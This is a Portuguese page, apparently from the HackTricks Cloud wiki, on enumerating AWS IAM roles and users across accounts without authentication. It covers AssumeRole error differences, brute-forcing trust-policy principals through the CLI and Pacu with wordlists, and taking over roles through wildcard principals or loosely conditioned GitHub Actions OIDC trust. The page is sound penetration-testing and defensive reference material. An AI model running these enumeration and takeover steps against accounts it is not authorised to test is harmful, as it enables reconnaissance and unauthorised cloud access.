Português - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

AWS - IAM & STS Unauthenticated Enum

Supporte HackTricks

Enumerar Roles & Nomes de Usuários em uma conta

Assume Role Brute-Force

Esta técnica não funciona mais, pois se o role existe ou não, você sempre recebe este erro:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Você pode testar isso executando:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Tentar assumir um role sem as permissões necessárias aciona uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Esta mensagem confirma a existência da role, mas indica que sua política de assunção de role não permite sua assunção. Em contraste, tentar assumir uma role inexistente leva a um erro diferente:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Curiosamente, este método de distinguir entre papéis existentes e não existentes é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma lista de palavras direcionada, é possível enumerar os papéis presentes na conta sem enfrentar limitações inerentes.

Você pode usar este script para enumerar potenciais principais abusando deste problema.

Políticas de Confiança: Força Bruta em papéis e usuários de Contas Cruzadas

Configurar ou atualizar a política de confiança de um papel IAM envolve definir quais recursos ou serviços AWS têm permissão para assumir esse papel e obter credenciais temporárias. Se o recurso especificado na política existir, a política de confiança é salva com sucesso. No entanto, se o recurso não existir, um erro é gerado, indicando que um principal inválido foi fornecido.

Note que nesse recurso você poderia especificar um papel ou usuário de conta cruzada:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Este é um exemplo de política:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

Esse é o erro que você encontrará se usar um role que não existe. Se o role existir, a política será salva sem nenhum erro. (O erro é para atualização, mas também funciona ao criar)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Você pode automatizar este processo com https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Ou usando Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • O papel admin usado no exemplo é um papel na sua conta a ser personificado pelo pacu para criar as políticas que precisa criar para a enumeração

Privesc

No caso de o papel estar mal configurado e permitir que qualquer um o assuma:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

O atacante poderia simplesmente presumir isso.

Federação OIDC de Terceiros

Imagine que você consiga ler um workflow do Github Actions que está acessando uma role dentro da AWS. Essa confiança pode dar acesso a uma role com a seguinte política de confiança:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Esta política de confiança pode estar correta, mas a falta de mais condições deve fazer você desconfiar dela. Isso ocorre porque a função anterior pode ser assumida por QUALQUER PESSOA do Github Actions! Você deve especificar nas condições também outras coisas, como nome da organização, nome do repositório, ambiente, branch...

Outra possível má configuração é adicionar uma condição como a seguinte:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Note que wildcard (*) antes do colon (:). Você pode criar uma organização como org_name1 e assumir o papel de uma Github Action.

Referências

Support HackTricks
PreviousAWS - Elasticsearch Unauthenticated EnumNextAWS - Identity Center & SSO Unauthenticated Enum

Last updated